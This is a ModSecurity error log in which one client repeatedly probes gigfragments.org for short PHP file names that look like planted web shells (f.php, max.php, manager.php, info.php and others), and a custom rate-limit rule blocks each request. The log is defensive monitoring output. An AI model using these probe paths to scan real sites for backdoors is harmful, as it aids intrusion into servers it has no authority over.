[Sat Jan 03 03:28:48.116014 2026] [:error] [pid 1930:tid 1987] [client 20.39.206.242:15195] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aVgccJP-6mqhfUDa89y6DAAAAFU"]
[Sat Jan 03 03:28:48.407391 2026] [:error] [pid 2083:tid 2087] [client 20.39.206.242:14709] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "aVgccDVlR_BmlMPnhV6cTAAAAMI"]
[Sat Jan 03 03:28:48.691372 2026] [:error] [pid 1931:tid 2029] [client 20.39.206.242:14697] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aVgccB8Tyw7ZoIdXlcbaXAAAAIU"]
[Sat Jan 03 03:28:49.081462 2026] [:error] [pid 1930:tid 1984] [client 20.39.206.242:15097] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aVgccZP-6mqhfUDa89y6DQAAAFI"]
[Sat Jan 03 03:28:49.437179 2026] [:error] [pid 1930:tid 1971] [client 20.39.206.242:14377] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aVgccZP-6mqhfUDa89y6DwAAAEU"]
[Sat Jan 03 03:28:50.031478 2026] [:error] [pid 2083:tid 2100] [client 20.39.206.242:14358] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f.php"] [unique_id "aVgccjVlR_BmlMPnhV6cTgAAAM8"]
[Sat Jan 03 03:28:50.354018 2026] [:error] [pid 2083:tid 2101] [client 20.39.206.242:14785] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aVgccjVlR_BmlMPnhV6cTwAAANA"]
[Sat Jan 03 03:28:50.764363 2026] [:error] [pid 2083:tid 2095] [client 20.39.206.242:14836] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aVgccjVlR_BmlMPnhV6cUAAAAMo"]
[Sat Jan 03 03:28:51.171345 2026] [:error] [pid 2083:tid 2092] [client 20.39.206.242:14384] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aVgcczVlR_BmlMPnhV6cUgAAAMc"]
[Sat Jan 03 03:28:51.713446 2026] [:error] [pid 1930:tid 1981] [client 20.39.206.242:15091] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "aVgcc5P-6mqhfUDa89y6EQAAAE8"]
[Sat Jan 03 03:28:52.075795 2026] [:error] [pid 1931:tid 1993] [client 20.39.206.242:14684] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aVgcdB8Tyw7ZoIdXlcbaYAAAAIA"]
[Sat Jan 03 03:28:52.628402 2026] [:error] [pid 1930:tid 1972] [client 20.39.206.242:14728] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aVgcdJP-6mqhfUDa89y6EgAAAEY"]
[Sat Jan 03 03:28:53.055919 2026] [:error] [pid 2083:tid 2086] [client 20.39.206.242:14676] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aVgcdTVlR_BmlMPnhV6cVQAAAME"]
[Sat Jan 03 03:28:53.802751 2026] [:error] [pid 1929:tid 1958] [client 20.39.206.242:14805] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aVgcdecFqdpu6TNsuWqxgAAAABQ"]
[Sat Jan 03 03:28:54.395526 2026] [:error] [pid 1931:tid 2046] [client 20.39.206.242:14797] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVgcdh8Tyw7ZoIdXlcbaZgAAAJY"]
[Sat Jan 03 03:28:54.838045 2026] [:error] [pid 1930:tid 1970] [client 20.39.206.242:14390] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVgcdpP-6mqhfUDa89y6FQAAAEQ"]
[Sat Jan 03 03:28:55.190994 2026] [:error] [pid 1929:tid 1952] [client 20.39.206.242:15098] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVgcd-cFqdpu6TNsuWqxgwAAAA4"]
[Sat Jan 03 03:28:55.483375 2026] [:error] [pid 1931:tid 1996] [client 20.39.206.242:14685] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aVgcdx8Tyw7ZoIdXlcbaZwAAAII"]
[Sat Jan 03 03:28:55.786955 2026] [:error] [pid 2083:tid 2106] [client 20.39.206.242:14395] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aVgcdzVlR_BmlMPnhV6cWgAAANU"]
[Sat Jan 03 03:28:56.263794 2026] [:error] [pid 2083:tid 2088] [client 20.39.206.242:14675] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aVgceDVlR_BmlMPnhV6cXAAAAMM"]
[Sat Jan 03 03:28:56.698270 2026] [:error] [pid 1929:tid 1941] [client 20.39.206.242:14815] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aVgceOcFqdpu6TNsuWqxhQAAAAM"]
[Sat Jan 03 03:28:57.087756 2026] [:error] [pid 1930:tid 1985] [client 20.39.206.242:14822] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "aVgceZP-6mqhfUDa89y6FwAAAFM"]
[Sat Jan 03 03:28:57.441122 2026] [:error] [pid 1930:tid 1978] [client 20.39.206.242:14661] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgceZP-6mqhfUDa89y6GAAAAEw"]
[Sat Jan 03 03:28:58.086021 2026] [:error] [pid 1929:tid 1954] [client 20.39.206.242:14670] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgceucFqdpu6TNsuWqxigAAABA"]
[Sat Jan 03 03:28:58.522535 2026] [:error] [pid 1929:tid 1956] [client 20.39.206.242:14784] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgceucFqdpu6TNsuWqxiwAAABI"]
[Sat Jan 03 03:28:59.062627 2026] [:error] [pid 2083:tid 2109] [client 20.39.206.242:15072] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aVgcezVlR_BmlMPnhV6cXgAAANg"]
[Sat Jan 03 03:28:59.393435 2026] [:error] [pid 2083:tid 2100] [client 20.39.206.242:14671] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aVgcezVlR_BmlMPnhV6cXwAAAM8"]
[Sat Jan 03 03:28:59.716510 2026] [:error] [pid 1930:tid 1975] [client 20.39.206.242:14813] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aVgce5P-6mqhfUDa89y6HQAAAEk"]
[Sat Jan 03 03:29:00.066859 2026] [:error] [pid 1929:tid 1961] [client 20.39.206.242:15102] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aVgcfOcFqdpu6TNsuWqxjgAAABc"]
[Sat Jan 03 03:29:00.391213 2026] [:error] [pid 2083:tid 2099] [client 20.39.206.242:14687] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vv.php"] [unique_id "aVgcfDVlR_BmlMPnhV6cYgAAAM4"]
[Sat Jan 03 03:29:00.701065 2026] [:error] [pid 1930:tid 1980] [client 20.39.206.242:14718] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aVgcfJP-6mqhfUDa89y6IAAAAE4"]
[Sat Jan 03 03:29:01.045613 2026] [:error] [pid 1930:tid 1987] [client 20.39.206.242:14699] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aVgcfZP-6mqhfUDa89y6IQAAAFU"]
[Sat Jan 03 03:29:01.410144 2026] [:error] [pid 1929:tid 1957] [client 20.39.206.242:14703] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aVgcfecFqdpu6TNsuWqxkgAAABM"]
[Sat Jan 03 03:29:01.739247 2026] [:error] [pid 1929:tid 1947] [client 20.39.206.242:14396] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0.php"] [unique_id "aVgcfecFqdpu6TNsuWqxlAAAAAk"]
[Sat Jan 03 03:29:02.041670 2026] [:error] [pid 1930:tid 1971] [client 20.39.206.242:14803] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aVgcfpP-6mqhfUDa89y6IwAAAEU"]
[Sat Jan 03 03:29:02.416682 2026] [:error] [pid 1929:tid 1944] [client 20.39.206.242:14680] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aVgcfucFqdpu6TNsuWqxmQAAAAY"]
[Sat Jan 03 03:29:02.719779 2026] [:error] [pid 1929:tid 1949] [client 20.39.206.242:14362] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aVgcfucFqdpu6TNsuWqxmgAAAAs"]
[Sat Jan 03 03:29:03.003999 2026] [:error] [pid 1929:tid 1946] [client 20.39.206.242:14673] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "aVgcf-cFqdpu6TNsuWqxmwAAAAg"]
[Sat Jan 03 03:29:03.319488 2026] [:error] [pid 1931:tid 1994] [client 20.39.206.242:15194] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aVgcfx8Tyw7ZoIdXlcbaagAAAIE"]
[Sat Jan 03 03:29:03.604020 2026] [:error] [pid 1929:tid 1948] [client 20.39.206.242:15092] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aVgcf-cFqdpu6TNsuWqxnQAAAAo"]
[Sat Jan 03 03:29:03.912609 2026] [:error] [pid 1929:tid 1960] [client 20.39.206.242:14693] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aVgcf-cFqdpu6TNsuWqxoAAAABY"]
[Sat Jan 03 03:29:04.243817 2026] [:error] [pid 1929:tid 1939] [client 20.39.206.242:14788] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aVgcgOcFqdpu6TNsuWqxogAAAAE"]
[Sat Jan 03 03:29:04.597573 2026] [:error] [pid 1929:tid 1943] [client 20.39.206.242:14814] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aVgcgOcFqdpu6TNsuWqxpQAAAAU"]
[Sat Jan 03 03:29:04.900227 2026] [:error] [pid 1930:tid 1974] [client 20.39.206.242:14394] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aVgcgJP-6mqhfUDa89y6JAAAAEg"]
[Sat Jan 03 03:29:05.210476 2026] [:error] [pid 1930:tid 1989] [client 20.39.206.242:14679] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aVgcgZP-6mqhfUDa89y6JQAAAFc"]
[Sat Jan 03 03:29:05.495233 2026] [:error] [pid 1929:tid 1947] [client 20.39.206.242:14694] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goods.php"] [unique_id "aVgcgecFqdpu6TNsuWqxpwAAAAk"]
[Sat Jan 03 03:29:05.818683 2026] [:error] [pid 1930:tid 1970] [client 20.39.206.242:14683] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aVgcgZP-6mqhfUDa89y6JgAAAEQ"]
[Sat Jan 03 03:29:06.101449 2026] [:error] [pid 2083:tid 2103] [client 20.39.206.242:14695] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aVgcgjVlR_BmlMPnhV6cZgAAANI"]
[Sat Jan 03 03:29:06.406401 2026] [:error] [pid 1929:tid 1938] [client 20.39.206.242:14672] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aVgcgucFqdpu6TNsuWqxqwAAAAA"]
[Sat Jan 03 03:29:06.676633 2026] [:error] [pid 1929:tid 1962] [client 20.39.206.242:14809] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aVgcgucFqdpu6TNsuWqxrQAAABg"]
[Sat Jan 03 03:29:06.968684 2026] [:error] [pid 1929:tid 1954] [client 20.39.206.242:14711] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aVgcgucFqdpu6TNsuWqxrwAAABA"]
[Sat Jan 03 03:29:07.301996 2026] [:error] [pid 1931:tid 2035] [client 20.39.206.242:14614] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aVgcgx8Tyw7ZoIdXlcbaawAAAIs"]
[Sat Jan 03 03:29:07.588449 2026] [:error] [pid 1930:tid 1985] [client 20.39.206.242:14698] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aVgcg5P-6mqhfUDa89y6KgAAAFM"]
[Sat Jan 03 03:29:07.945473 2026] [:error] [pid 2083:tid 2104] [client 20.39.206.242:14696] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aVgcgzVlR_BmlMPnhV6caAAAANM"]
[Sat Jan 03 03:29:08.220191 2026] [:error] [pid 2083:tid 2106] [client 20.39.206.242:14608] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVgchDVlR_BmlMPnhV6caQAAANU"]
[Sat Jan 03 03:29:08.519917 2026] [:error] [pid 1930:tid 1986] [client 20.39.206.242:14796] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVgchJP-6mqhfUDa89y6KwAAAFQ"]
[Sat Jan 03 03:29:08.871394 2026] [:error] [pid 2083:tid 2108] [client 20.39.206.242:14388] [client 20.39.206.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aVgchDVlR_BmlMPnhV6cawAAANc"]
